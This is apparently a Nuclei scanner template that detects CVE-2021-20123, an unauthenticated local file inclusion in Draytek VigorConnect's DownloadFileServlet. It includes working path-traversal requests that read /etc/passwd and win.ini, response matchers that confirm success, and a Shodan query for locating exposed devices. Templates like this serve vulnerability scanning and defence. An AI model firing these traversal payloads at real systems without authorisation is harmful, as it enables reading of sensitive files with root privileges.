id: CVE-2021-20123

info:
  name: Draytek VigorConnect - Unauthenticated Local File Inclusion DownloadFileServlet
  author: 0x_Akoko
  severity: high
  description: |
    A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
  reference:
    - https://www.tenable.com/security/research/tra-2021-42
    - https://www.cvedetails.com/cve/CVE-2021-20123/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20123
    cwe-id: CWE-668
  metadata:
    shodan-query: http.html:"VigorConnect"
    verified: true
  tags: cve,cve2021,draytek,lfi,vigorconnect

requests:
  - method: GET
    path:
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200